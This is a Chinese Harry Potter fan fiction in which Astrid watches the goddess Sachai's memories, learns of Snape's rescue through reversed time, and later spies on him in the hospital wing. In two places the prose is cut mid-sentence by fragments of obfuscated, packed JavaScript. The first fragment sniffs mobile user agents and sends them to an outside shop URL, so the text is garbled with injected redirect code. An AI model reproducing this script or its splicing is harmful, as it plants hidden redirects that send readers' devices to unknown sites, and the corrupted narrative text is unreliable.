阿斯特丽德有些累了——虽然她知道自己并不真的存在于那个空间里,只是以某种旁观者的姿态悬浮着观看这一切。她干脆坐下来,一手托腮,认真地继续看着那些画面在眼前流转。 画面此时已经转换到一座城堡里,城堡的轮廓比她后来见过的霍格沃茨要简陋许多,许多塔楼还未完工,有些走廊甚至只是临时搭建的木制结构,但那种宏伟的气势已经开始显露雏形。那应该就是霍格沃茨的早期模样。 萨拉查与其他三位创始人——一个红发的高大男子,一个气质温婉的女巫,还有一个精明干练的女巫——正陪着萨姹在城堡里巡视。萨姹的尾巴在石质地面上缓缓游走,发出轻微的沙沙声,引来不少小巫师好奇又害怕的目光。她偶尔停下来,看向那些正在走廊里追逐打闹的孩子,有两个格兰芬多的小家伙正举着木棍假装决斗,你戳我一下我戳你一下,闹得不亦乐乎。 萨姹抬起手,随意一挥。 那两个小家伙被一股无形的力量轻飘飘地分开,像是被两只巨大的手各自拎起,悬在半空中蹬着腿哇哇大叫。还没等他们反应过来怎么回事,萨姹的尾巴尖已经凑了过来,不轻不重地在两人屁股上各拍了一下。 两个小巫师被放回地面后,眼泪汪汪地看着那个游走的蛇尾女神,愣了一下,然后哇的一声哭着跑开了。 萨姹回头看了一眼他们的背影,尾巴尖愉悦地晃了晃,继续往前游走。 画面继续切换,这次是在一片类似禁林的地方。萨姹与萨拉查如同初见时那样隔着几棵树对立着,但这次的气氛完全不同,空气中有一种沉重感在缓缓蔓延。 “我也要陨落了。”萨姹语气平静地说。 萨拉查仍旧站在那,那双竖瞳微微收缩了一下。 “人们已经不再相信,或者说,不再愿意相信神明了。”萨姹继续说,目光越过他,望向远处那座已经初具规模的城堡,“我不再有存续的意义。这是规律,没什么可抱怨的。” 萨拉查沉默了很久之后才开口:“如果有一天,有人重新开始相信呢?” 萨姹看了他一眼,露出点欣慰和无奈的表情。“或许吧。”她轻声说,“但那个时候,我已经不在了。” 萨拉查没有再说什么,看着那个陪伴了自己多年的存在。竖瞳深处,缓缓沉下那些被克制得极好的悲伤。 之后,画面陷入漫长的黑暗,无边无际,没有时间的概念,只有一片虚空在周围缓缓流淌。 不知过了多久,当画面再次有所变化时,却没有清晰的影像,只有声音和魔法的气息波动——那些波动如同涟漪般一圈圈扩散开来,又被某种无形的力量收拢回去,在这个介于存在与虚无之间的空间里反复回荡。 起初是萨姹——那道沉睡的意识——感知到了陌生气息的闯入。那气息让她在冰封了千百年的沉睡中微微震颤,像是被什么东西惊醒。那两个不该出现在霍格沃茨范围内、更不该闯入这片禁林深处的闯入者的气息,让她本能地感到不喜。 她稍稍苏醒的意识模糊地感知了一下那两个人。那似乎是一个年轻的巨人——那种体型巨大却智力低下的生物,以及一个……人类女巫?那女巫正被巨人像玩具一样甩来甩去,尖叫声在禁林里回荡,追逐间跌跌撞撞地闯入了这片被遗忘的空地边缘。那女巫的声音里带着一种假惺惺的甜腻,那种甜腻让萨姹即使在半梦半醒之间也觉得反感。 之后,萨姹的意识开始缓慢地、一点一点地苏醒过来。她能通过声音和魔法的气息微弱地感知外界了,感知的范围从这片空地渐渐扩散开来,先是覆盖了周围的禁林,然后慢慢延伸到整个霍格沃茨及其附近的区域。苏醒的过程很慢,慢得像冰封了千年的湖泊在春天到来时一点一点融化。 她开始偶尔感知到外围有独角兽活动,那些纯洁生物的气息纯净而温和;也有马人偶尔在禁林深处活动的气息,半人半马的生物带着一种与自然融为一体的古老智慧。最让她在意的,是某个保持着固定频率独自来禁林采药的人类气息——那是一个年轻男性的魔法气息,阴沉而内敛,却又好像混杂了某些强硬镌刻进来的、与她熟悉的萨拉查·斯莱特林的魔法极为相似的东西。 那气息很奇怪。当那个人在禁林外围幻影移形时,他身上原本的魔法气息总是会被那个强行镌刻进来的、接近萨拉查的魔法气息灼烧,那种灼烧带来的痛苦通过魔法波动的紊乱清晰地传递到她感知中。而有时候,那个人幻影显形在禁林里时,原本属于他的魔法气息又会剧烈波动——那波动里带着伤害的痕迹,而那伤害的源头,正是那股强硬的、与萨拉查同源的魔法气息。 萨姹就这样静静地感知着霍格沃茨范围内的一切,数着那个人来禁林采药的频率,记录着他魔法气息每一次不寻常的波动,像一个耐心的观察者看着一出跨越时间的戏剧缓缓展开。 一年后。 她感知到那个人在某个塔楼上使用了索命咒——那种咒语的魔法气息太过独特,即使隔着整个城堡的距离也无法错认。紧接着,原先那股微弱的、与霍格沃茨本身绑定的魔法气息骤然消失了,像是有什么人掐灭了一盏燃烧了很久的灯火。 那是身为校长的邓布利多的气息。她后来才知道,那是霍格沃茨历史上最强大的校长之一,他的死亡意味着这座城堡失去了它的守护者。 没过多久,那个人——她熟悉的那个人——其魔法气息忽然与霍格沃茨绑定了。他成为了新的校长。 他成为了她的残余力量需要庇护的一员。 那一年里,萨姹感知到他幻影移形的频率变得更高了,通常是在深夜,匆匆来去,像一只永远停不下来的夜枭。有一次,他似乎还带着某把特殊的宝剑在禁林里幻影移形离开——那把剑上带着戈德里克·格兰芬多的气息,那种古老而强大的气息她不会认错,那是她曾经的旧识留下的痕迹。他离开了一段时间,回来后,那把剑的气息消失了。 再之后,某天晚上,她感知到霍格沃茨的魔法气息和磁场变得异常混乱。那些古老的防护罩在不断被加固,又被猛烈的攻击撼动;整个城堡周围的魔法波动剧烈得像是有人在搅动一锅沸腾的魔药。而那个人——霍格沃茨的现任校长——却不见了。他的魔法气息不在城堡里,不在禁林里,不在任何她能感知到的地方。 霍格沃茨被攻入了。 那些暗黑的气息潮水般涌入城堡,狼人、巨怪、还有那些带着黑魔标记的食死徒——他们的气息让萨姹本能地厌恶,那种厌恶几乎要完全唤醒她沉睡的意识。 然后,她感知到了。 那个人——现任校长——忽然出现在了霍格沃茨附近的某个地点,身边还有那股一直灼烧着他原本魔法气息的暴戾焦躁的黑暗魔法气息。那股气息如此强烈,如此疯狂,像是所有邪恶的源头。 她还没来得及分辨那两股魔法气息在做什么,就感觉到他与霍格沃茨的绑定骤然断裂了——像一根被生生扯断的丝线,像一盏被猛然吹灭的灯。 就像前任校长一样。 他死了。 一个在霍格沃茨遭遇战争时,却没有召唤她的校长,就这么突兀地死了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334594|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是来不及吗?还是不知道该怎么召唤? 萨姹想着这个问题,终于在那些暗黑魔法气息和狼人、巨人等不讨喜的生物彻底攻入霍格沃茨核心区域时,完全苏醒了。 雕像破土而出。 那座透明的、冰晶般的巨像在月光下从禁林深处缓缓升起,仿佛活过来一般——她睁开了眼睛,那双烟紫色的竖瞳在夜色中亮起,比任何星辰都更璀璨,比任何魔法都更古老。覆盖着羽毛纹路的蛇尾从土层中抽出,卷起漫天泥土与落叶,那些鳞片上的纹路在月光下流转着银白色的光芒,宣告着从亘古沉睡中归来的存在。 萨姹的意识完全回归了。 她——那座雕像——缓缓抬起权杖,一道银白色的光芒从杖尖激射而出,光芒所过之处,禁林里的狼人如同被无形的利刃斩断,惨叫着倒在血泊中;巨人的脚步被那道光芒击中,庞大的身躯轰然倒地,震得周围的树木都在颤抖。那些暗黑的生物在她的力量面前如同蝼蚁,连反抗的余地都没有。 伴随着霍格沃茨城堡前那些石墩守卫轰隆轰隆出动的巨响,萨姹的雕像快速游走着穿过禁林边缘,那条蛇尾在草地上拖出一道深深的痕迹。她来到城堡前的空地上,那里已经被战火笼罩——食死徒的黑影在火光中穿梭,学生们在教授们的带领下拼死抵抗,魔咒的光芒在夜空中交织成一张光怪陆离的网。 她停在城堡前的空地上,手持权杖,微微垂眸,俯瞰着这个沦为战场的古老城堡。 下一秒,银白色的光芒从杖尖涌出,化作无数道细线射向四面八方——那些细线所到之处,黑魔法的气息如同遇到天敌般退缩,食死徒的咒语在半空中就被击散,有几个来不及躲避的甚至被那光芒击中,惨叫着倒下。但那光芒会从师生身边绕过,从他们头顶掠过,精准地辨认着每一个人的魔法气息,像有生命一般。 师生们愣住了。 “那是什么——!”一个格兰芬多的男生指着那座雕像大喊,声音在战火中显得格外尖锐。 “是萨姹!”有人认出来了——可能是某个博览群书的学生,可能在某本古籍里见过那幅画像。 麦格教授站在城堡门口,魔杖高高举起,石墩守卫还在从她身边源源不断地冲出去。她望着那座雕像,那条在火光中游走的蛇尾,以及那双俯瞰一切的竖瞳,脸上闪过从未有过的震惊——作为霍格沃茨的副校长,以及在这座城堡里工作了几十年的资深教授,她从未听说过萨姹的传说。 “保持阵型!”她只来得及喊出这一句,“继续战斗!” 学生们重新投入战斗,但士气已经完全不同了——有神在庇护他们,有某种超越理解的力量站在他们这一边。 画面又是一转。 这一次,萨姹的雕像出现在尖叫棚屋外。那座破败的棚屋在夜色中孤独地立在山坡上,窗户破碎,门板歪斜,整个建筑散发着一种阴森的、被遗弃的气息。 萨姹透过那扇破败的窗户,俯瞰着倒在二楼地板上的那一个小小的、黑漆漆的身影。 他死了。 她认出了那个人——那个她数了两年采药频率的人,带着格兰芬多宝剑在禁林里幻影移形的人,与霍格沃茨绑定成为校长的人,那个在战争中死去的人。 西弗勒斯·斯内普。 雕像伸出那只透明的、巨大的手,穿过破败的窗户,小心翼翼地把那个黑漆漆的身影从二楼地板上托起来。那身影在她掌心里显得那么小,那么轻,像一片随时会被风吹走的落叶。 她托着他,一路游走回禁林深处的那片空地。 还没来得及把他放下,她就感觉到自己的身体在快速龟裂——那些透明的材质上开始出现细密的裂纹,从手臂蔓延到肩膀,从肩膀蔓延到躯干,又从躯干蔓延到那条覆盖着羽毛纹路的蛇尾。碎块逐渐从她身上剥落,在落地之前就化作点点星光消散在空气中。 萨姹低头看着掌心里的那个人,竖瞳里闪过一丝无奈。 她明明还有力量,就这么消散了,太可惜了。 不如最后帮他一把。看在他是霍格沃茨校长的份上,也算是仁至义尽,尽到了自己庇护这座城堡的责任。 于是她弯下腰,用那只已经开始碎裂的手把那个人轻轻放在空地上。然后赶在自己彻底碎裂之前,她调动起残余的所有力量,想要扭转他的结局——想要救活他。 力量从她体内涌出,化作一道耀眼的光芒,笼罩住那个黑漆漆的身影。那光芒越来越强,越来越亮,几乎要刺穿整个夜空。 然后—— 出岔子了。 或许是雕像在碎裂过程中不好操控躯体,或许是她作为战斗女神本就不擅长这种救死扶伤逆转时空的事。总之,她把劲使大了。 时间开始倒流。 倒流的速度极快,快得连她自己都来不及反应——霍格沃茨的战争,那些黑暗的日子,他成为校长的那一年,他采药的每一个夜晚,他第一次幻影移形来到禁林的那一刻……一切都在倒流,都在回退,都在向着某个未知的方向狂奔。 当一切终于停止时,时间回到了斯内普刚搬来蜘蛛尾巷那一年。 而她残余的力量也所剩无几,勉强支撑着她以另一个形态存在——一个麻瓜女孩的形态。 阿斯特丽德·杜兰特。 所有记忆看完了。 阿斯特丽德站在那片禁林深处的空地上,仰头望着那座雕像。月光透过树冠的缝隙洒落下来,照亮了雕像那张与自己一模一样的面孔。 她心里还涌动着画面里那座即将碎裂的雕像最后的意识—— “这个人总是很辛苦的样子。希望能让他重新有个好人生。” “他叫什么来着?西弗勒斯·斯内普。” 阿斯特丽德知道,眼前这座雕像里封存的、属于萨姹的力量已经所剩无几了。 但她觉得,如果重来一次,她恐怕还是会选择帮一帮那个人。 因为,他真的太苦了。 25. 巫师新品类——摔炮 22. 九点前的霍格沃茨走廊总是弥漫着一种奇特的氛围,在即将宵禁却尚未宵禁的微妙时段里,三三两两的学生抱着书本从图书馆方向匆匆赶回各自学院的公共休息室,他们的脚步声在石砌地板上敲出清脆的回响,间或夹杂着压低声音的交谈与偶尔爆发的轻笑。几幅画像里的居民们正打着哈欠准备入睡,有一个穿着墨绿色紧身胸衣的贵妇人不耐烦地挥着手让从她画框前经过的学生快些走开别挡住她欣赏夜景的视线;皮皮鬼不知从哪里冒出来,在半空中翻了个跟头,朝几个拉文克劳女生扔了几颗粉笔头,然后在费尔奇沙哑的怒吼声中嘎嘎大笑着穿过墙壁消失了。洛丽丝夫人迈着优雅而无声的步子从一个阴影里滑出来,那双灯泡般的黄眼睛在昏暗中闪着幽光,警惕地扫视着每一个经过的学生,仿佛在判断谁有可能成为下一个违反宵禁的倒霉鬼。城堡里那股永恒的、混合着古老石料、蜡烛烟气和某种若有若无魔法余韵的气息在空气中缓缓流淌,壁龛里的火把偶尔噼啪作响,将晃动的光影投在那些讲述着千年故事的挂毯上。 阿斯特丽德走在通往医疗翼的旋转楼梯上,嘴里低声嘀嘀咕咕着谁也听不清的碎碎念,她的脚步有些拖沓,像是一个经历了太多信息轰炸而大脑过载的人。那声音轻得几乎只有她自己能听见,却依然在这部分空荡荡的楼梯间里激起细微的回响:“所以这算什么?十六岁蛇祖宗驾到,重整斯莱特林荣耀?” 噫…… 她的脚步渐渐慢下来,最终停在某级台阶上,一脸凝重地盯着前方轻盈掠过的洛丽丝夫人——那只猫正蹲在楼梯转角处舔着爪子,黄眼睛慵懒地扫了她一眼,然后继续自己的清洁工作。 重整…… 整…… 咋整啊? 即便刚才在那片禁林深处的空地上,她已经把雕像里所剩无几的力量全部吸纳进了自己体内,她现在也不过是个资质平平的二流巫师水平,跟哑炮有区别,但区别实在不多。而且她脑海里那些记忆乱七八糟的,像一锅被打翻的蔬菜浓汤,根本提供不了什么有价值的参考——她知道邓布利多在塔楼上忽然死了,却不知道为什么死;她知道斯内普大多数时候匆匆在禁林里幻影移形离开时总会遭受那个与萨拉查同源的魔法气息的灼烧,却不知道那灼烧意味着什么;她知道斯内普把格兰芬多的宝剑弄走了,却不知道它的下落在何处;她最想知道的是,那个与萨拉查同源、在他身上刻下印记的魔法气息究竟是什么东西,为什么要攻击霍格沃茨,那个气息的主人有什么想不开的吗? 这些问题像一群找不到巢穴的蜜蜂,在她脑海里嗡嗡嗡地转个不停。 她慢吞吞地拖着脚步走进医疗翼,那扇橡木门在她身后轻轻合拢,发出低沉的闷响。病房里弥漫着一股魔药与消毒药水混合的气息,庞弗雷夫人不知去了哪里,只有角落里那盏魔法灯散发着柔和的暖光,把整个空间笼罩在一片安静温暖的氛围里。她来到病床边,正看到床头柜上放着那半份特意留给她的晚餐——烤得金黄的鸡腿、一小堆奶油土豆泥、还有一块看起来就很诱人的苹果馅饼,旁边甚至体贴地摆着一杯南瓜汁。 哦。 更糟糕的问题来了——她今晚忘记给斯内普送饭了。 “我想我应该得到一个解释?”一个没什么起伏的冰冷语调适时响起,从病床的方向飘过来,每一个音节都像是刚从冷藏室里拿出来的,带着寒意。 斯内普靠在半抬起的床头,单手捧着一本看起来颇为厚重的书,另一只手随意搭在被子上,魔杖就放在触手可及的地方。他微微眯着眼打量她,目光从上到下从左到右把她扫了个遍,像是在研究一只终于归笼但行为可疑的猫,面上写着明明白白的:你最好有合理的解释。 阿斯特丽德幽怨地看了他一眼,然后在那张陪护椅上坐下,整个人陷进柔软的靠垫里,语气深沉莫测得像一个刚从某种重大人生顿悟中归来的哲人:“人不应该做自己不擅长的事情。”她感慨着,目光落在虚空中某个点上,“那将会是一场灾难。” 看看她吧,一个不擅长救死扶伤的萨姹,为了挽救某个苦哈哈的小可怜,不小心把劲使大了,硬是把时间倒流回了几十年前。现在好了,全员二周目走起。 斯内普挑眉看着她,语气里带着那种他惯有的、能让最厚的脸皮都感觉到刺痛的嘲讽:“很高兴你终于认识到了这个深刻的道理。”他故意停顿了一下,眼睛里闪过一丝幽光,“那么,希望你不是刚从禁林深处游玩归来,对吗?” 阿斯特丽德干巴巴地笑了几声,透着一种“我就知道你会这么问”的镇定:“很遗憾,我刚跟一只鹰头马身有翼兽建立了良好的友谊——那种跨越物种的、纯粹的、不掺杂任何利益的友谊。”她一边说一边在心里默念,谎话就是要真假参半,如果一味地否认自己去禁林探险,只会引起他的警觉和探究,那后面的事情就更不好解释了。 “它热情地留我吃晚餐,”她说谎不打草稿且毫无负担地拉踩某人二年级时差点被一蹄子踹飞的伤心往事,“当然,用的是禁林特产的鲜香菌菇——那种只有最尊贵的客人才有资格品尝的珍馐美味。我还特意给你带了几朵,让你也感受一下我与神奇生物之间那牢不可破的友谊。” 伴随着尾音的落下,她从口袋里摸出几个长得肥美饱满的蘑菇,那些菌菇的伞盖上还带着湿润的泥土,散发着属于森林深处的、混合着潮湿木头与雨后泥土的气息。她把它们放在他的床头柜上,正好搁在那半份晚餐旁边,画面看起来既荒诞又和谐。 斯内普眯着眼盯着她,眼睛像两口深不见底的井,仿佛要把她整个人都吸进去仔细研究一番。片刻后,他的目光依然落在她脸上,语调平平地开口:“最好是这样。” 他的嘴角勾起一个讽刺的弧度,那弧度不大,却恰到好处地表达了他此刻的全部态度。 “毕竟你来到这座城堡不过几天,就已经与胖夫人建立了商业合作关系,与拉文克劳的门环进行了高深的学术交流,与血人巴罗建立了某种让我不敢深想的友谊——”他的语气慢悠悠的,已经过了变声期的声音低沉磁性:“现在又与禁林里的鹰头马身有翼兽共进晚餐。我得说,你的人缘之好,交游之广,实在令人叹为观止。建议你考虑出版一本《如何在魔法世界迅速结交朋友的秘诀》,我相信销量会很可观。” 阿斯特丽德只是得意洋洋地挑了挑眉,没有对他的讽刺做出任何回击——这本身就很反常,但此刻她有太多事情需要消化,实在没有多余的精力跟他斗嘴。斯内普见状也没再说什么,只是继续拿起那本书翻看起来,翻书的动作优雅从容,似乎刚才那 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阿斯特丽德在说谎,他当然知道。 那个坏心眼又不听话的麻瓜从黄昏时分起就进入了禁林深处,然后在里面滞留了将近四个小时——这段时间足够她把禁林里的每一个危险角落都探索一遍,足够她遇见任何可能存在的生物,也足够她把自己陷入任何可能的麻烦。而现在,她回来了,带着几个新鲜的蘑菇,还有—— 还有一丝浅淡的魔法气息。 那波动很细微,细微到如果不是他一直在通过追踪咒密切关注着她的一举一动,根本不可能察觉。像是某种刚刚觉醒的、稚嫩而微弱的魔法波动,比费尔奇好上那么一点点,大概就是“能让羽毛在空中飘上两秒”和“连羽毛都飘不起来”之间的差距。 这一整个傍晚,他都在通过自己种在她身上的追踪咒和防护咒判断她的踪迹和情况,咒语是他很久以前就悄悄设下的——以防她哪天又在蜘蛛尾巷遇到什么麻烦,或者她哪天需要帮助而他不在身边。他在这四小时里,一个字都没写进去,一页书都没看进去,只是反复感知着那咒语传来的信息:她在禁林里,她停下来了,她在一个地方停留了很久,她又开始移动了,她在往回走。 要不是庞弗雷夫人不允许他下床,他早就冲去禁林把那个不知天高地厚的坏家伙给拎回来了——哪怕需要拖着这具缠满绷带的身体,在月光下艰难跋涉穿过那片危险的森林。 好在,她没遭受什么伤害。 但那些魔法气息是怎么回事? 巫师界终于出了比哑炮高级一点的新品类吗? 摔炮? 他轻轻拿起手边的魔杖,随意挥动了一下。一丝淡蓝色的光带隐隐浮动在杖尖,光芒柔和而纤细,像一缕被月光浸染的丝线,另一端显示的地点正是格兰芬多塔楼——她此刻应该在的地方。 他静静地盯着那丝若有若无地浮动在空气中的淡蓝色光带,目光深邃得像要看穿它背后隐藏的一切。脑海里回放着她傍晚长久停留的那个坐标——禁林深处,某个他从未去过的地方。那地方有什么?她在那儿经历了什么?为什么回来后就有了魔法波动? 一定有什么秘密。 一个他现在还不知道,但必定会探究清楚的秘密。 26. 男人最重要的三样东西 23. 又是一个神清气爽的明媚早晨,作为巫师界最新诞生的品类——阿斯特丽德·萨姹·杜兰特,一个介于哑炮与真正巫师之间的神奇存在,姑且可以称之为“摔炮”——在那张柔软舒适的红色大床上伸了一个长长的懒腰之后,迈着熟悉的步伐走进盥洗室,准备开始新一天例行的洗漱与自我欣赏。 经过那面落地镜时,她停住脚步,然后后退两步,稳稳地站在镜子面前,双手背在身后,用一种审视的目光打量着镜面。 魔镜瞬间进入一级警戒状态,整个镜面如同被电流击中般抽搐着扭曲了一瞬,折射的光芒里泛着一种淡淡的死感。它太了解这个女人了——这个前女神现麻瓜——她每次这么盯着自己看,准没好事。 “早安,美丽的杜兰特小姐。”它开口,语气已经熟练得像个职场淬炼出的合格牛马,学会了抢答,“格兰芬多最美丽的女巫是莉莉·伊万斯,而霍格沃茨最——” “我不是要问这个。”阿斯特丽德打断了它,神情严肃地摇了摇头,声音里还带着晨起的鼻音和沙哑。 魔镜愣了一下,镜面上的光芒微微闪烁:“那您是想……?” “你之前说,萨姹是千百年来最美丽的,无人超越?”阿斯特丽德的眼神里闪烁着某种探究的光芒。 “……是的,可以这么说。”魔镜心里涌起一阵不祥的预感,这丫头该不会是要给自己这平平无奇的日常工作上难度了吧?它每天昧着良心夸她还不够吗?还要一面正直的镜子怎么摒弃底线才够啊?!这个班真是越来越难上了! 正腹诽间,它听见阿斯特丽德无比认真地发问:“所以你一直都知道我跟萨姹长得一样对不对?” 魔镜的镜面猛地抽搐了一下,它要怎么回答? 还没等它想出个所以然,阿斯特丽德再次提出灵魂拷问,问题像一把锋利的匕首直插它本就不堪一击的职业底线:“那你觉得我更适合竖瞳还是现在的眼型?” 她很认真,很期待,微微歪着头等着那面镜子给出参考意见,像是讨论一个需要慎重决策的人生大事。 魔镜觉得自己如果是个活物,此刻应该已经开始流冷汗了。 萨姹当初怎么就不是掌管医美的神呢?那样的话,她想让自己长什么样就长什么样,想怎么折腾就怎么折腾,不好吗?可她偏偏是个只会打架的臭美自恋狂,非得来折磨一面无辜的镜子! 唉!生活不易,魔镜自闭。 但班还是要上的,这是每一个合格牛马的觉悟。 “无论眼型如何,都无损您无与伦比的美丽,尊敬的杜兰特小姐。”魔镜直接给出了那个不需要打回去重做的终极报告版本,语气诚恳得像是发自肺腑,甜蜜得像是抹了奶油,“任何眼型,包括睫毛、瞳色,能生长在您这张堪称造物主究极作品的完美脸庞上,都是不该也无法被挑剔的。您就是美丽的代名词——美神杜兰特小姐。” 不得不说,得到旁人发自真心的夸赞,确实能让人心情舒畅啊。 阿斯特丽德满意地勾起唇角,对着镜子把那一头白金色的头发绑成一个利落的发辫,又左右端详了片刻,这才转身来到洗漱台前挤牙膏,动作里透着一股心满意足的愉悦。 魔镜的镜面在她离开后古怪又痛苦地扭曲了一下,然后归于平静。它默默在心里吐槽着蛇类这一脉相承的臭美毛病——那自恋简直是刻进骨子里的——顺便同情起斯莱特林公共休息室里的那些同僚们。它们当初是怎么在萨拉查·斯莱特林本人、汤姆·里德尔、以及卢修斯·马尔福这一连串自恋狂的摧残下挺过来的?难怪那边的同事们——无论是魔镜还是桌椅板凳,凡是会说话能跟人交流的——都那么擅长吹捧类的咏叹调,这绝对是职场对牛马的长期驯化! 没注意到这些但心情很好的阿斯特丽德自顾自哼着歌洗完了脸,给自己编了个精致的发辫,这才换好衣服,迈着轻快的步伐向医疗翼进发。 医疗翼最里面那间病房里,庞弗雷女士正在帮斯内普换药。 那位以严厉著称的校医用魔杖流畅娴熟地指挥着旧绷带从斯内普的身躯上缓缓剥离,过程如同抽丝剥茧一般,干净利落不带任何多余动作。随即她又用魔杖在他周身的伤患处隔空轻点,各种身体指标的数值缓缓浮动在半空中——体温、心率、愈合进度、新生皮肤的生长速度——那些金色的数字在空气中停留片刻,然后慢慢消散。 斯内普就那样站着。 经过这几天的恢复,他身上那些原本缠得严严实实的绷带已经可以拆下一部分,露出底下的躯体来——那已经是一个成年男性的体格了,肩线舒展而宽阔,苍白的皮肤上面还残留着些许未完全愈合的伤痕。因为连日卧床进食有限,他的身形比平时清瘦了些,能够清楚地看到一根根肋骨的轮廓,但这并未削弱他的力量感——胸口下方隐约可见的腹肌线条,还有胸膛两侧那若隐若现的肌肉轮廓,都在无声地宣告着这副身体所蕴含的力量。他的面色不太自然,黑眼睛阴沉沉地盯着窗外某个虚无的点,脸上面无表情,整个人浑身上下都写满了不自在——显然是因为第一次在旁人面前、尤其是女性面前袒露身体而浑身别扭。 两人都没注意到那白色帘布后,一只眼睛正扒在缝隙处,贪婪地偷窥着这一切。 嗯,手臂线条不错。修长,有力,上臂和小臂的肌肉分布得恰到好处,既不会过分贲张显得粗鲁,也不会过于纤细显得孱弱。上臂的肌肉一看就很有力量感,小臂上的血管和青筋则透着一种说不出的性感。想象一下他用这只手臂挥动魔杖的样子吧——那种从容,优雅,在空气中划过优美弧线的姿态…… 哎?他是不是还用这只手臂揽过她的腰?在蜘蛛尾巷练习舞蹈的时候? 天啦噜!要死了要死了…… 要是这双手臂撑在床上,撑在她身侧…… 呜……瑞娜姑妈,你不会懂得“斯内普家的那个阴沉沉的小崽子”有多勾人。 阿斯特丽德也没想到自己会碰上这么好的福利放送。她忍着肚子饿,没有冲进去吃那半份早餐,而是一直狗狗祟祟地猫着腰躲在帘布后面,眼睛一眨不眨地注视着病房里的动静。机不可失时不再来,肚子饿算什么,先喂饱眼睛比较重要——这等千载难逢的机会,错过这一次,以斯内普那个小气鬼的性格,以后肯定会严防死守,再也不给她任何偷窥的可能。 瞧那起伏的苍白胸口,那紧实的—— “你在干什么?杜兰特小姐。” 一道在此刻显得极其讨人厌的声音非常不合时宜地响起,声音里带着几分困惑和狐疑。 阿斯特丽德猛地僵住。 她回过头,正看到穆尔塞伯站在不远处,向来冷漠的脸上是一副“你在做什么见不得人的事”的表情。他身边跟着埃弗里,两人抱着课本和羊皮纸,显然是来给斯内普送课堂笔记和作业的,并顺便对对答案、互相“借鉴”一下——当然,主要是他俩借鉴斯内普的作业。 还没等她回应,她就感觉到一道黑漆漆的目光带着刀锋一般,“唰”的一下从帘布另一侧射过来。 下一秒,那白色帘布就自动并紧了。 紧紧地,严丝合缝地,像坚决不容侵犯的人类的双腿,被麻瓜502胶水粘牢了。 “我刚才看到围帘上有个小虫子,正在仔细研究它的品种和习性。”阿斯特丽德转过身,面对埃弗里和穆尔塞伯露出一个淡定从容的微笑,脸上丝毫没有被抓包的窘迫和尴尬。只有眼底深处,藏着一丝若有若无的、对被中断福利放送的惋惜。 唉,多好的机会啊!斯内普那个小气鬼以后肯定要严防死守了,啧。 穆尔塞伯一向不欲与她多谈——他始终保持着那种纯血巫师对麻瓜的疏离态度——闻言只是点了点头,沉默地站在原地等着,也不在意她刚才是不是真的在研究虫子, 围帘内,庞弗雷夫人已经给斯内普换完了药,正指挥着新绷带自己裹上那些还在愈合的伤患处。那些白色的绷带像有生命一般,自动在那具苍白的躯体上缠绕着,一圈一圈,覆盖住那些新生皮肤。 “恢复得不错,年轻人底子好就是不一样。”庞弗雷夫人一边收拾着那些用过的医案和药瓶,一边用她那一贯的、严厉又不失关切的语气叮嘱着,“只是还需要注意行动幅度,不能有大动作;不能见水,洗澡的时候尤其要小心;忌口,那些刺激性的食物暂时不要碰。用清洁咒的时候也要避开伤处,以免刺激到新生的皮肤——那些皮肤还很娇嫩,经不起魔法的直接作用。” 斯内普有些心不在焉地应了一声,目光却一直盯着那扇紧闭的帘布方向,那双黑眼睛里闪烁着某种复杂的光芒。等庞弗雷夫人收拾完毕,他迅速套上了一件校服衬衫——只是扣子没有扣,就那样敞着盖在绷带上面,手臂也被袖子严严实实地遮住了。 帘子终于被拉开,穆尔塞伯和埃弗里向庞弗雷女士致意后,鱼贯而入走进病房。 阿斯特丽德坐在另一边自顾自吃着那半份早餐——烤得恰到好处的吐司、煎蛋、还有一小碟果酱。她一边吃一边用余光扫视着那三个人。一直等那两人对完作业,又交代了一些教授们的最新通知之后,她才慢条斯理地吃完最后一口面包,擦了擦手,起身走过去。 斯内普已经可以双手自如活动了,他坐在床边,低头看着手里的那本课堂笔记,看起来很专注。 “刚才听庞弗雷女士说你用清洁咒也得小心,”阿斯特丽德在他床边站定,语气里带着恰到好处的体贴和关切,真诚得让人挑不出任何毛病,“估计这几天挺难受的吧?不能正常洗漱什么的。” 斯内普的视线缓缓从笔记上抬起来,落在她脸上,目光里带着几分探寻的意味。 “你想说什么?”他问,语气平平的。 不止是这个小滑头能对他的话去伪存真,他当然也能分辨出她话语背后的未尽之意——她那点小心思,在他眼里比字迹还清楚。 阿斯特丽德眼睛一弯,笑眯眯地提议道:“据我这几天的观察和了解,清洁咒并不能完全替代传统的洗浴。你都躺了五天了,一定浑身难受吧?我帮你擦擦身子怎么样?麻瓜医院的护工就提供这项服务,专业、卫生、无任何不良企图。” 她说得诚恳极了,一副真心替他着想的模样,眼里满是纯洁无瑕的光芒。 “不用。”斯内普拒绝得干脆利落,没有一丝犹豫。他甚至眯起眼睛打量着她的神情,似乎想探究出她刚才到底看到了什么,又看到了多少。 别以为他不知道她在打什么主意。她看那些小黄文看得脑子都要被废料塞满了,比塞满芨芨草的巨怪脑子还可怕。她就不能矜持一点、纯粹一点、克制一点吗?她难道不知道自己是个青春鲜妍的少女,而他是个血气方刚的男性吗?他性格阴沉不代表他别的地方也阴沉好吗?她究竟懂不懂这个道理?! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他忍了半天,才再次开口。语调慢悠悠的,像是从某个古老的咏叹调里提炼出来的精华,每一个音节都经过精心雕琢,每一个词都恰到好处地镶嵌在那个华丽的句子里:“我得承认,杜兰特小姐,你对于人类核心价值的总结,实在令人叹为观止。发量——确实,对于像我这种即将因为某个不知体面为何物的麻瓜而提前步入中年危机的可怜人来说,保住发量已经成了人生头等大事。身材——哦,当然,毕竟我要时刻保持最佳状态,以备某天需要从禁林里把某个好奇心过剩的摔炮拎出来。至于——” 他顿了顿,嘴角勾起一个刻薄至极的弧度。 